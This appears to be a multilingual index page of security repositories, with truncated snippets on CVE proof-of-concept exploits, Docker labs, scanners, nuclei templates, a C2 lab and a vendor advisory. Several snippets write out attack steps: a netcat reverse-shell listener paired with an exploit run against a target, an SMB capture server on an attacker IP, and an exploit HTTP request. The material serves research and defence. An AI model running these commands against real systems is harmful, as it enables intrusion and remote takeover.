C2-and-Post-Exploitation-Framework

캡스톤 Docker Lab 개요 및 목적 피해자는 호스팅된 웹페이지를 방문합니다. 악용은 utils.js에 포함된 셸코드CVE-2021-21220을 통해 피해자 브라우저에서 클라이언트 측에서 실행됨를 통해 시작됩니다. 셸코드는 피해자의 머신에서 실행되어 HTTPS 전달 서버를 호출하고 MicrosoftEdgeUpdate.exe를 다운로드한 후 실행합니다. 실행되면 임플란트가 중간 홉C2 리디렉터을 통해 C2 서버에 연결하고 TLS를 사용하여 서명된 인증서를 수신한 후 완전한 상호 TLS로 다시 연결합니다. C2 컨트롤러는 연결...

homelab-CVE-2021-44228

Homelab: Log4Shell CVE-2021-44228 en Apache Solr Entorno controlado en Docker para reproducir y estudiar la vulnerabilidad Log4Shell en Apache Solr. El Entorno Objetivo solr-lab: Apache Solr v8.11.0 vulhub/solr:8.11.0 ejecutando una versión vulnerable de Log4j. Atacante kali-lab: Contenedor Kali...

Important: Red Hat Security Advisory: python3.12 security update

An update for python3.12 is now available for Red Hat Enterprise Linux 10.0 Extended Update Support. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available...

BELL-CVE-2026-80725

Bulletin has no description...

CVE-2019-5413

CVE-2019-5413 Fake repo...

CVE-2025-6440

CVE-2025-6440 CVE-2025-6440 用の nuclei テンプレート ベータ版、今後更新予定...

MikroTik-Winbox-Scanner

Winbox Protocol Scanner MikroTik RouterOS 인터넷에 노출된 MikroTik Winbox 서비스를 탐지하도록 설계된 고성능 동시성 스캐너입니다. 이 도구는 TCP 포트 8291에서 활성 Winbox 엔드포인트를 식별하고 RouterOS 응답 동작을 분류하여 서비스 사용 가능 여부를 판단합니다. 인터넷에 노출된 Winbox 프로토콜이 매우 많으므로, 이 도구는 라우터 장치를 사이버 공격으로부터 예방하기에 충분한 경각심을 불러일으킬 수 있습니다. 공격자는 이러한 프로토콜을 찾아...

CVE-2026-8467

cve-id Donate...

CVE-2024-5932

この投稿は EQSTLab が公開した研究記事です。 ❗❗ 重要 ❗❗ 現在、xmrig を実行する偽の PoC GitHub リポジトリが存在します。詳細については以下のリンクをご確認ください : URL1: https://x.com/win3zz/status/1828704644987511107 URL2: https://x.com/bornunique911/status/1828712791844524453 URL3: https://x.com/Chocapikk/status/1828801346637856841 CVE-2024-5932 ★...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP creado: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

en kali linux - terminal 1 nc -lvnp 4444 en kali linux - terminal 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

CVE-2024-37054-MLflow-reverse-shell

Herramientas y Archivos...

nuclei-templates-ai

Plantillas de Nuclei Generadas por IA 👾 Este proyecto es una implementación de nuestra visión detallada en De CVE a Plantilla: El Futuro de la Automatización de Plantillas de Nuclei con IA Este repositorio demuestra el poder de la IA en la automatización de la generación de plantillas de segurida...

PoC-2023-43208

CVE-2023-43208-EXPLOIT Exploit de Ejecución Remota de Código RCE en Mirth Connect ⚠️ SOLO PARA USO EDUCATIVO Y EN LABORATORIO ⚠️ Un exploit de prueba de concepto para CVE-2023-43208, una vulnerabilidad de ejecución remota de código en Mirth Connect anterior a la versión 4.4.1. 🚨 AVISO LEGAL...

Tenda-F3-V4

Exploit del Router Tenda F3 y Descargador de Archivos Este proyecto es una herramienta para descargar varios archivos del router Tenda F3 v3/v4 a través de una vulnerabilidad sin autenticación CVE-2020-35391. Permite obtener el archivo de configuración, el registro del sistema y el volcado de la...

CVE-2017-8046-DEMO

spring data rest CVE-2017-8046 demo de prueba por favor, ACTUALIZA spring data rest AHORA. pasos Inicia esta aplicación Crea una instancia de prueba root@kitploit: POST /entityPersons/ HTTP/1.1 Host: localhost:8080 Content-Type: application/json Cache-Control: no-cache "firstName":"f2" Usando...

dirtycups

dirtycups.py Dirty CUPS es un escáner gratuito de CVE para Linux/Unix script en Python3 que permite validar si un objetivo es vulnerable a CVE-2024-47176. Este es un escáner de CUPS basado únicamente en sockets, tomado de cupsscanner.py de MalwareTech:...

CVE-2018-7600

LAB 9-CVE-2018-7600 I. SYSTEM ANALYSIS Identify Attack Surface Start by listing the running containers: docker ps From the docker ps results, the container for this Lab is: p1/lab09:latest This container exposes port: 0.0.0.0:8011-80/tcp This indicates that the service inside the container is...

CVE-2025-55182-Researching-process

Repositorio de Investigación CVE-2025-55182 Aviso Ético Este repositorio está dedicado exclusivamente a la investigación defensiva de ciberseguridad y fines educativos. Todo el contenido se centra en: Comprender vulnerabilidades con fines defensivos Desarrollar mecanismos de detección Implementar...

boa-cve-2009-4496-analysis

CVE-2009-4496 — Defensive Vulnerability Analysis Overview This repository documents a defensive analysis of CVE-2009-4496 , a historical vulnerability associated with the Boa web server. The objective of this project is to examine the vulnerability from a defensive security perspective through:...